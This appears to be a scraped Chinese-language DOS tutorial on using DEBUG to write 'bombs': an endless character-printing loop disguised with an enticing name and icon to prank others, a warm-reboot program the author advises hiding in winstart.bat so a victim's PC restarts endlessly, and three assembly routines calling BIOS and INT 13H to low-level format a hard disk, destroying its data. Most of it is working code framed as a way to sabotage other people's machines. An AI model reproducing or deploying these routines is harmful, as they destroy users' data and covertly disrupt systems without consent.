debug應用,對硬碟進行低格

來源:互聯網
上載者:User

debug應用
 
死迴圈炸彈的編寫

在dos下鍵入debug,進入debug,然後鍵入下面的彙編代碼(分號後是解釋):
-a100
0100:mov dl,1 ;將1調入dl
0102:mov ah,2 ;將2H調入ah
0104:int 21 ;調用21H DOS程式
0106:inc dl ;將dl中的數加1
0108:jmp 102;回到102程式,既返回"mov ah,2"
兩次斷行符號
現在讓我們來產生com檔案,鍵入一下指令:
-n盤符程式名;n和程式名間沒有空格
-rbx;查看bx寄存器
斷行符號;bx為0,不用輸入,就斷行符號
-rcx;查看cx寄存器
:a ;輸入程式位元組數,a(16進位)就是10位元組
-w;寫入程式
好了,現在可以在dos下試試效果了,呵呵,不要打我呀!!!!!!是不是電腦亂叫亂跑呀,哈哈,這是個死迴圈,現在同時按ctrl+break或ctrl+c可以強制停止的,要是在windows下就用滑鼠結束命令提示字元就沒事了.
現在來解釋一下這個程式的實現過程:
把顯示字元的ASCII碼值調入DL寄存器中,把顯示字元的功能號2H調入ah中,執行"int 21"即顯示1H的ASCII碼,"inc dl"就是將dl中的值加一,"jmp 102"就是跳到"mov ah,2"這個程式段,簡單吧,很容易看懂的,這個程式如果再屏蔽掉ctrl,break,c,然後在將視窗最大化,呵呵,那就只能看著自己的"愛機"死迴圈到死機了,你可以給他取個sexlady的名字,再換個性感的表徵圖,現在就可以用它來炸色狼了.呵呵,今天就講這麼多,下次講什麼呢?講炸鍵盤的核心代碼吧,嘿嘿.
讓你的電腦反覆啟動-debug應用(二)
 

 c:/debug boot.com
-a100
-mov ax,0040
-mov ds,ax
-mov si,0072
-mov[si],ax
jmp ffff:0
int 20
-rcx
0014
-w
-q
這個就是暖開機的程式,如果再用.bat檔案讓它自動執行,那麼它就是一個炸彈,讓人家的電腦反覆啟動,可能你會把他添加到autoexec.bat中,但這樣容易被人發現,其實還有一個自動批次檔和autoexe.bat的作用一樣,不過他是在autoexec.bat後執行,檔案名稱叫winstart.bat,這個檔案是許多軟體安裝時產生的臨時檔案,當軟體安裝需要重新啟動然後繼續安裝時,就會在windows目錄下產生這個檔案,安裝完後自動刪除,但如果是你人為添加這個檔案,系統將不把他刪除,這樣你就可以把這個暖開機的程式用這個winstart.bat來讓他每次啟動電腦時自動執行,最好把這個檔案隱藏,一般人是很難想到是這個批次檔在搗亂,嘿嘿,這樣就可以讓人家的電腦反覆啟動不停了.
用DEBUG低格硬碟
方法一:

  直接調用ROM BIOS中的低格式化程式。

  在很多電腦的ROM BIOS中存放著低格程式。存放地址從C8005H處開始,可以用DEBUG的G命
令直接調用。操作如下:

a:/>debug -g c800:0005

  這時螢幕顯示資訊(不同版本的BIOS顯示的資訊不一樣),斷行符號後提示:

  current interleave is 3 select new interleave or return fot current

  這是要求使用者選擇交叉因子,按斷行符號表示取預設值,螢幕接著提示:

  Are you aynameically configuring the drive-answer Y/N

  Prss "Y" to begin formatting the drive c: with interleave 03

  鍵入Y後,開始低格......

  Formatting......

  完成後詢問是否處理壞磁軌:

  Do you want to format bat trackanswer Y/N?

  如沒有就用“N”回答,工具提示:

Format successfull,system will new restart,insert dos diskette in dirve a:

  插入系統硬碟到A驅,即可進行分區,進階格式化等操作。

方法二:

  BIOS也可以由DOS通過中斷指令來調用。調用INT 13H中斷的7號功能,也可以對硬碟進行
低格,操作如下:

a:/>debug

-a 100

-xxxx:0100 mov ax,0703; 交叉因子為3

-xxxx:0103 mov cx,0001; 0磁軌0扇區起

-xxxx:0106 mov dx,0080; C盤0磁軌

-xxxx:0109 int 13

-xxxx:010B int 3

-xxxx:010D

-G 100 ;從0100處開始執行。

這樣硬碟就被低格了!

方法三:

  調用INT 13H的5號功能。

  對硬碟調用INT 13H的5號功能只能低格0面0道1扇區,而不必低格整個硬碟,從而使低格
在很短的時間內完成。操作如下:

a:/>debug

-a 100

-xxxx:0100 mov ax,0500;調用5號功能

-xxxx:0103 mov bx,0180;設定緩衝區地址

-xxxx:0106 mov cx,0001;0道1扇區起

-xxxx:0109 mov dx,0080;C盤0磁軌

-xxxx:010B int 13

-xxxx:010D int 3

-E 0180 0 0 0002;寫入參數

-G 100
 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.